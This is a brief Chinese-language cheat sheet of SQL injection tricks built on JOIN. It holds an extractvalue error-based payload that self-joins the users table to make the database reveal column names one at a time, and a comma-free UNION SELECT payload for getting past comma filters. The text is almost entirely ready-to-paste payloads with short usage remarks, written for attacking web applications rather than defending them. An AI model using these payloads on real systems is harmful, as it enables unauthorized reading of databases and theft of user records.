Join注入技巧
join无名列报错注入
约束条件
在知到表名的前提下才能操作
注入语句
and extractvalue(1,concat(0x7e,(select * from (select * from users join users b using(id))c),0x7e))
依次枚举即可
Join代替order by [过滤了逗号]
payload
union select * from (select 1) a join (select 2) b join (select 3) c%23